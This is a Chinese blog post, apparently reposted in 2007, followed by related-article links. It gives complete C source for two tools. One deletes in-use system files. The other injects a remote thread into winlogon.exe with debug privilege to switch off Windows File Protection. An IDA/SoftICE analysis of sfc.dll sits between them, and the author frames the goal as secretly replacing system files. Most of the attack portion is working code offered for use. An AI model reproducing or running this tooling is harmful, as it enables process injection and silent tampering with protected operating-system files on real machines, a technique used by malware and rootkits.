删除正在使用的文件

转载 2007年10月08日 20:10:00
#include <Windows.h>
#include 
<stdio.h>
BOOL ZapDelFile(
char *szFileToDel)
...{
    
char cTempFileName[0x80];
    
char cTempPathName[0x100];
    
char cFileName[0x100];

    
if(szFileToDel[1== ':')...{
        sprintf(cTempPathName, 
"%c:/", szFileToDel[0]);
    }

    
else...{
        GetModuleFileName(NULL, cFileName, 
0x100);
        sprintf(cTempPathName, 
"%c:/", cFileName[0]);
    }


    
if(GetTempFileName(cTempPathName, "_@"0, cTempFileName) == 0)...{
        
return FALSE;
    }


    
if(MoveFileEx(szFileToDel, cTempFileName, 1== 0)...{
        
return FALSE;
    }


    
if(MoveFileEx(cTempFileName, NULL, 4== 0)...{
        
return FALSE;
    }


    
return TRUE;
}


void usage(char *n) ...{
    printf(
"usage: %s fileNeedToDeln", n);
    exit(
0);
}


int main(int argc, char* argv[])
...{

    printf(
"Zap programed by bgate. :) *nn");

    
if (argc != 2)
        usage(argv[
0]);

    
if(ZapDelFile(argv[1]) == TRUE)...{
        printf(
"OK");
    }

    
else...{
        printf(
"error %d", GetLastError());
    }

    
return 0;
}
 

 

现在你已经可以用它去删除正在使用的系统文件了, 不过删除之后会弹出让你插入Windows CD对话框.
注意: 删系统文件前做好备份, 在重启前恢复, 另外删系统文件前还需要把dllcache中相应的备份删除. 否则系统会自动恢复.

接下来就想办法去掉这个对话框, 拿出我的法宝--google. 胡乱地搜了一气. 搜到两条有用信息.
1.Windows 2000下执行系统文件保护的代码在sfc.dll中, Xp系统下在sfc_os.dll中.
2.注册表中把一个叫SfcDisable的键设为FFFFFF9D能在下次启动时让文件保护功能失效.

下面的分析是在Win2K sp4+上进行的. 其中分析的sfc.dll版本是5.0.2195.6673

    用ida打开sfc.dll在string中找sfcdisable, 没找到! 让string显示Unicode. 这下看到了. 找到对SfcDisable引用的一个地方.代码如下
.text:769269F9                 call     _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:769269FE                 push     ebx
.text:769269FF                 push     offset ??_C@_1BG@HOGG@?$AAS?$AAf?$AAc?$AAD?; "SfcDisable"
.text:76926A04                 push     edi
.text:76926A05                 push     esi
.text:76926A06                 mov     _SFCDebug, eax
.text:76926A0B                 call     _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A10                 push     ebx
.text:76926A11                 push     offset ??_C@_1BA@HLJH@?$AAS?$AAf?$AAc?$AAS?$AAc?$AAa?$AAn?$AA?$AA@ ; "SfcScan"
.text:76926A16                 push     edi
.text:76926A17                 push     esi
.text:76926A18                 mov     _SFCDisable, eax
.text:76926A1D                 call     _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A22                 push     ebx
.text:76926A23                 push     offset ??_C@_1BC@KFAJ@?$AAS?$AAf?$AAc?$AAQ?$AAu?$AAo?$AAt?$AAa?$AA?$AA@ ; "SfcQuota"
.text:76926A28                 push     edi
.text:76926A29                 push     esi
.text:76926A2A                 mov     _SFCScan, eax

    其中_SfcQueryRegDwordWithAlternate@16是读注册表的函数. 很明显, 它把注册表中SfcDisable的值读到了_SFCDisable中. 好, 调出softice. 在_SFCDisable上设断点. 我们又用刚写的zap去删系统文件, softice弹出来了. 断到了下面这个地方, eip为7692A326, _SFCDisable为2.
.text:7692A319                 push     ecx
.text:7692A31A                 and     [esp+4+var_4], 0
.text:7692A31F                 cmp     _SFCDisable, 3
.text:7692A326                 push     ebx
.text:7692A327                 push     ebp
.text:7692A328                 push     esi
.text:7692A329                 push     edi
.text:7692A32A                 jnz     short loc_7692A333
.text:7692A32C                 xor     eax, eax
.text:7692A32E                 jmp     loc_7692A459
    F5退出, 一会儿对话框弹了出来, 就对这儿引用了一次. 很好, 看看上面这段代码"cmp _SFCDisable, 3". 此时_SFCDisable为2弹出了对话框, 那么我就把它改为3又用zap删系统文件试试. 哈, 运气很好, 这次没出现让插CD的对话框了. 也就是说只要我们把_SFCDisable改为3就能偷偷地替换系统文件了. 不过不同版本这个地址是不一样的, 用switch来做这个活总是不好. 得写个有通用性的代码.

    开始我想它的工作原理大概是Winlogon发现了有对系统文件进行操作. 便调用sfc.dll中的输出函数进行检查. 我们就只需得到这个输出函数入口然后把这个函数"注释"掉就可以了.跟着上面这段代码逆流而上, 找到最后由76924544输出, 又在76924544上加个断点, 继续去删文件. softice跳出来了, 不过不在函数的入口, 反倒在刚才设置的对_SFCDisable的读取上, 没运行函数的入口就运行了函数体中的代码, 看来遇到高人了. 非得逼我出必杀技, 打开2000源代码 : ). 找了半天没找到相应代码又只得退回来看汇编, 最后发现了这个函数NtWaitForMultipleObjects. 呵, 难怪没中断在函数的入口上, 原来早运行了函数的入口然后在函数体里一直没退出. 注释函数的方法不行了.

    这时我想它的工作原理大概是winlogon调用sfc.dll中的输出函数在系统启动时创建了一系列事件. 既然winlogon创建了, 那么它也应该得撤销. 用depends打开winlogon. 果然从sfc.dll中输入了两个函数. 一个是刚才分析的那个, 创建了一系列事件. 看看另一个, 输出地址是76926869, 不出所料, 关闭了一系列事件. 现在我们只要向winlogon中注入代码调用"另一个"函数就能取消文件保护功能了. 不过winlogon不能随便注入代码. 26A杂志第六期上有篇文章提到了注入方法:"adjust debugger access rightz to our process". 那也是一篇SFCDisable的文章, 他用的方法是在内存中搜索特征码, 然后修改. 通用性应该没这么好.

    下面的注入方法是从crazylord的代码中拷过来的, 不过方法不是. :), 写完后就懒得检查了, 加之水平有限, 写的不过优雅的地方就将就着看.

-----------------cut antisfc.c-----------

#include <stdlib.h> 
#include 
"Windows.h" 
#include 
"Tlhelp32.h" 
#pragma comment( lib, "Advapi32.lib" ) 

typedef 
void (_stdcall * CLOSEEVENTS)(void); 
typedef unsigned 
long DWORD; 
typedef DWORD ANTISFC_ACCESS; 

/**//* 
* ANTISFC structures 
*/
 

typedef 
struct _ANTISFC_PROCESS ...
    DWORD     Pid;                 
// process pid 
    HANDLE ProcessHandle;       // process handle 
    char   ImageName[MAX_PATH]; // image name (not full path) 
}
 ANTISFC_PROCESS, *PANTISFC_PROCESS; 

__inline 
void ErrorMessageBox(char *szAdditionInfo) 
...
    printf(
"error on %s, error code %d. n", szAdditionInfo, GetLastError()); 
}
 

void usage(char *n) ...
    printf(
"usage: %s [/d]n", n); 
    printf(
"t/d: disable sfc file protecte fuction.n"); 
    exit(
0); 
}
 

DWORD Init() 
...
    DWORD   Ret 
= 0
    HANDLE hToken; 
    LUID sedebugnameValue; 
    TOKEN_PRIVILEGES tkp; 

    
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) ...
        ErrorMessageBox(
"OpenProcessToken"); 
    }
 else ...

        
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) ...
            ErrorMessageBox(
"LookupPrivilegeValue"); 
        }
 else ...

            tkp.PrivilegeCount 
= 1
            tkp.Privileges[
0].Luid = sedebugnameValue; 
            tkp.Privileges[
0].Attributes = SE_PRIVILEGE_ENABLED; 

            
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) ...
                ErrorMessageBox(
"AdjustTokenPrivileges"); 
            }
 else ...
                Ret 
= 1
            }
 
        }
 
        CloseHandle(hToken); 
    }
 

    
return(Ret); 
}
 

DWORD GetPidEx(
char *proc_name, char *full_path) ...
    DWORD             dwPid
=0
    HANDLE             hSnapshot; 
    PROCESSENTRY32     pe; 
    BOOL               Ret; 
    
  
if (isdigit(proc_name[0])) 
      dwPid 
= strtoul(proc_name, NULL, 0); 
  
else 
      dwPid 
= -1
      
    hSnapshot 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    
if (hSnapshot == (HANDLE) -1)...
        ErrorMessageBox(
"CreateToolhelp32Snapshot"); 
        
return(0); 
    }
 

    pe.dwSize 
= sizeof(PROCESSENTRY32); 
    Ret 
= Process32First(hSnapshot, &pe); 

    
while (Ret) ...
          
if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0
            
(pe.th32ProcessID 
== dwPid)) ...
                dwPid 
= pe.th32ProcessID; 
                strcpy(full_path, pe.szExeFile); 
                
break
        }
 
        pe.dwSize 
= sizeof(PROCESSENTRY32); 
        Ret 
= Process32Next(hSnapshot, &pe); 
    }
 

    CloseHandle(hSnapshot); 
    
if (dwPid == -1
      dwPid 
= 0
    
return(dwPid); 
}
 

DWORD InitProcess(PANTISFC_PROCESS Process, 
char *proc_name, ANTISFC_ACCESS access) ...
    DWORD Ret
=0

    Process
->Pid = GetPidEx(proc_name, Process->ImageName); 
    
if (Process->Pid != 0 && Process->ImageName[0!= 0...
        Process
->ProcessHandle = OpenProcess(access, FALSE, Process->Pid); 
        
if (Process->ProcessHandle == NULL) 
            ErrorMessageBox(
"OpenProcess"); 
        
else 
            Ret 
= 1
    }
 

    
return(Ret); 
}
 

DWORD InjectThread(PANTISFC_PROCESS Process, 
                PVOID function) 
...
    HANDLE     hThread; 
    DWORD     dwThreadPid 
= 0, dwState; 

    hThread 
= CreateRemoteThread(Process->ProcessHandle, 
                                NULL, 
                                
0
                                (DWORD (__stdcall 
*) (void *)) function, 
                                NULL, 
                                
0
                                
&dwThreadPid); 
    
if (hThread == NULL) ...
        ErrorMessageBox(
"CreateRemoteThread"); 
        
goto cleanup; 
    }
 

    dwState 
= WaitForSingleObject(hThread, 4000); // attends 4 secondes 

    
switch (dwState) ...
    
case WAIT_TIMEOUT: 
    
case WAIT_FAILED: 
        ErrorMessageBox(
"WaitForSingleObject"); 
        
goto cleanup; 

    
case WAIT_OBJECT_0: 
        
break

    
default
        ErrorMessageBox(
"WaitForSingleObject"); 
        
goto cleanup; 
    }
 

    CloseHandle(hThread); 
    
return dwThreadPid; 
    
cleanup: 
    CloseHandle(hThread); 

    
return 0
}
 

int main(int argc, char* argv[]) 
...
    ANTISFC_PROCESS     Process; 
    HMODULE hSfc; 
    DWORD     dwThread; 
    CLOSEEVENTS pfnCloseEvents; 
    DWORD dwVersion; 

    printf(
"AntiSfc programed by bgate. :) *nn"); 

    
if (argc != 2
        usage(argv[
0]); 

    
if (strcmp(argv[1], "/d"!= 0...
        usage(argv[
0]); 
    }
 

    
if (Init()) ...
        printf(
"debug privilege setn"); 
    }
 else ...
        printf(
"error on get debug privilegen"); 
        
return(0); 
    }
 

    
if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0...
        printf(
"error on get process info. n"); 
        
return(0); 
    }
 

    dwVersion 
= GetVersion(); 
    
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)...{                 // Windows 2000/XP 
        if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)...{             //Windows 2000 
            hSfc = LoadLibrary("sfc.dll"); 
            printf(
"Win2000n"); 
        }
 
        
else ...{//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)             //Windows XP 
            hSfc = LoadLibrary("sfc_os.dll"); 
            printf(
"Windows XPn"); 
        }
 
    }
     
    
//else if ()   //2003? 
    else ...
        printf(
"unsupported versionn"); 
    }
 

    pfnCloseEvents 
= (CLOSEEVENTS)GetProcAddress(hSfc, 
                                                MAKEINTRESOURCE(
2)); 
    
if(pfnCloseEvents == NULL)...
        printf(
"Load the sfc fuction failedn"); 
        FreeLibrary(hSfc); 
        
return(0); 
    }
 

    FreeLibrary(hSfc); 

    dwThread 
= InjectThread(&Process, 
                            pfnCloseEvents); 
    
    
if(dwThread == 0)...
        printf(
"failedn"); 
    }
 
    
else...
        printf(
"OKn"); 
    }
 

    CloseHandle(Process.ProcessHandle); 
    
return(0); 

}
 




------------------end cut---------
    在运行zap替换系统文件前运行一下antisfc就行了, 你也可以把它们写到一起. 理论上他能在2000, xp, 2003?的任何版本上使用. 不过我只在Win2K sp4+, WinXP sp1+上测试过.
    本文的缺点是替换的系统文件只能在重启后生效, 写完了.

 

Win7删除、移动文件时提示文件夹正在使用怎么办

如何解决Win7系统在删除或移动文件时提示,“操作无法完成,因为其中的文件夹或文件已在另一个程序中打开,请关闭该文件夹或文件,然后重试”。 右击任务栏,选择“启动任务管理器” 选择“性...
  • maoxiaojiemaoxiaojie
  • maoxiaojiemaoxiaojie
  • 2017年05月22日 09:09
  • 288

oracle11g卸载出错 无法删除文件,文件正在使用中

oracle11g卸载出错 无法删除文件,文件正在使用中
  • unflynaomi
  • unflynaomi
  • 2015年02月03日 17:09
  • 1861

SharePoint 2013 另一个程序正在使用此文件,进程无法访问。 (异常来自 HRESULT:0x80070020)

环境:SharePoint 2013 + Windows Server 2012 R2 在管理中心新建一个Web Application,端口为:88。顺利创建网站集后,打开访问却提示:无法显示此页...
  • sygwin_net
  • sygwin_net
  • 2017年02月10日 12:15
  • 1626

win7 IIS7 "另一个程序正在使用此文件,进程无法访问" 解决方法

 启动IIS时提示“另一个程序正在使用此文件,进程无法访问。(异常来自HRESULT:0x80070020)”   (the process cannot access the file be...
  • alec1987
  • alec1987
  • 2015年06月04日 17:49
  • 2850

MoveFileEx移动正在使用的文件(实际上是重启后移动)

当dwFlags被设为MOVEFILE_DELAY_UNTIL_REBOOT时,函数直到系统重启后才移动文件。注意文件的移动是发生在AUTOCHK执行之后,在页面文件创建之前。而此时用户还没有完全的进...
  • hutao1101175783
  • hutao1101175783
  • 2013年07月24日 16:36
  • 1857

解决日常问题之counters.dat

Google大法好,顺便度娘大法好由于在win10环境下长期以来饱受中文用户名带来的困扰,比如keil无法访问临时文件夹,比如Python 2.7不能解析中文用户名,诸如此类的问题不胜枚举,实在难以为...
  • miaoduoli
  • miaoduoli
  • 2016年03月26日 12:40
  • 1428

java正则匹配指定文件名称动态删除(保留最新的三个文件夹)升级版

java正则匹配指定文件名称动态删除(保留最新的三个文件)升级版 获取指定文件名 public static void main(String[] args) { ".* 你指定的文件名称字符....
  • fujiakai
  • fujiakai
  • 2017年01月06日 10:02
  • 912

检测并删除被占用的文件

在操作系统使用过程中,经常会遇到一些文件被某些程序占用而无法被删除的事情。这个时候,如果是手动进行的删除可能影响还小,因为有很多方式可以解除引用,比如借助于其它的某软件工具。但是在实际编程中,如果给一...
  • Henzox
  • Henzox
  • 2014年06月21日 10:54
  • 4506

解决:删除文件时“文件正在使用”不能完成

删除文件或文件夹,特别是 Temp 临时文件夹时,可能遇到下列错误信息【文件正在使用】或是【操作无法完成,因为文件已在 XXX 中打开】。 要成功删除这些文件,首先要找出哪些进程调用了它们,然后...
  • maowenge
  • maowenge
  • 2015年03月24日 16:08
  • 261

FileShare文件读写锁解决“文件XXX正由另一进程使用,因此该进程无法访问此文件”

开发过程中,我们往往需要大量与文件交互,读文件,写文件已成家常便饭,本地运行完美,但一上到投产环境,往往会出现很多令人措手不及的意外,或开发中的烦恼,因此,我对普通的C#文件操作做了一次总结,问题大部...
  • sundacheng1989
  • sundacheng1989
  • 2013年11月08日 13:37
  • 13288
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:删除正在使用的文件
举报原因:
原因补充:

(最多只允许输入30个字)